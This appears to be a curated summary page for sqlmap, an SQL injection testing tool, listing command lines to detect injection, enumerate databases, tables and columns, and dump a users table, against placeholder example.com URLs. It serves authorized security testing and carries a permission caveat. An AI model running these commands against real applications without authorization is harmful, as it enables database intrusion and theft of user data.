capture.pcap
http exchange
GET /login?next=/account HTTP/1.1
Host: example.com
Cookie: session=...

HTTP/1.1 302 Found
Location: /account
Set-Cookie: session=...; HttpOnly; Secure
Illustration · Signal
tool

sqlmap: automating SQL injection testing

Finds and demonstrates SQL injection flaws in web applications.

Curated by Signal · 10/5/2026

Original: sqlmap.org ↗License: GPL-2.0Repository ↗

What it is

sqlmap automates finding and exploiting SQL injection in web applications, and it can go on to extract database contents once a flaw is confirmed. Use it only against applications you own or are authorized to test.

Basic usage

# Test a single URL parameter
sqlmap -u "https://example.com/item?id=1"

# Test a POST request with data
sqlmap -u "https://example.com/login" --data="user=admin&pass=test"

# Load a request from a saved file (e.g. exported from Burp)
sqlmap -r request.txt

Specifying what to test

# Test only a specific parameter
sqlmap -u "https://example.com/item?id=1&cat=2" -p id

# Include cookies in the request
sqlmap -u "https://example.com/item?id=1" --cookie="session=abc123"

# Add custom headers
sqlmap -u "https://example.com/item?id=1" --headers="X-Forwarded-For: 127.0.0.1"

Detection level and risk

# Increase test thoroughness (1-5, default 1)
sqlmap -u "https://example.com/item?id=1" --level=3

# Increase risk of tests used (1-3, default 1)
sqlmap -u "https://example.com/item?id=1" --risk=2

# Both together for a deeper but slower scan
sqlmap -u "https://example.com/item?id=1" --level=5 --risk=3

Once injection is confirmed

# List available databases
sqlmap -u "https://example.com/item?id=1" --dbs

# List tables in a database
sqlmap -u "https://example.com/item?id=1" -D shopdb --tables

# List columns in a table
sqlmap -u "https://example.com/item?id=1" -D shopdb -T users --columns

# Dump a table's contents
sqlmap -u "https://example.com/item?id=1" -D shopdb -T users --dump

Current context shortcuts

# Current database user
sqlmap -u "https://example.com/item?id=1" --current-user

# Current database name
sqlmap -u "https://example.com/item?id=1" --current-db

# Check if the current user has admin privileges
sqlmap -u "https://example.com/item?id=1" --is-dba

Authentication and sessions

# Use HTTP basic auth
sqlmap -u "https://example.com/item?id=1" --auth-type=basic --auth-cred="user:pass"

# Keep using the same session across requests
sqlmap -u "https://example.com/item?id=1" --cookie="session=abc" --keep-alive

Tuning requests

# Set a delay between requests (seconds)
sqlmap -u "https://example.com/item?id=1" --delay=1

# Set number of concurrent threads (max 10)
sqlmap -u "https://example.com/item?id=1" --threads=4

# Use a random User-Agent per request
sqlmap -u "https://example.com/item?id=1" --random-agent

# Route traffic through a proxy
sqlmap -u "https://example.com/item?id=1" --proxy="http://127.0.0.1:8080"

Output and automation

# Answer prompts automatically with defaults
sqlmap -u "https://example.com/item?id=1" --batch

# Write output to a specific directory
sqlmap -u "https://example.com/item?id=1" --output-dir=./results

# Only show the final results, less noise
sqlmap -u "https://example.com/item?id=1" --batch -v 1

Typical workflow

# 1. Confirm injection exists
sqlmap -u "https://example.com/item?id=1" --batch

# 2. Enumerate databases
sqlmap -u "https://example.com/item?id=1" --batch --dbs

# 3. Enumerate tables in the target database
sqlmap -u "https://example.com/item?id=1" --batch -D shopdb --tables

# 4. Dump the table of interest
sqlmap -u "https://example.com/item?id=1" --batch -D shopdb -T users --dump

Curated summary. The original work belongs to its authors.

#webappsec#sqli
Related reading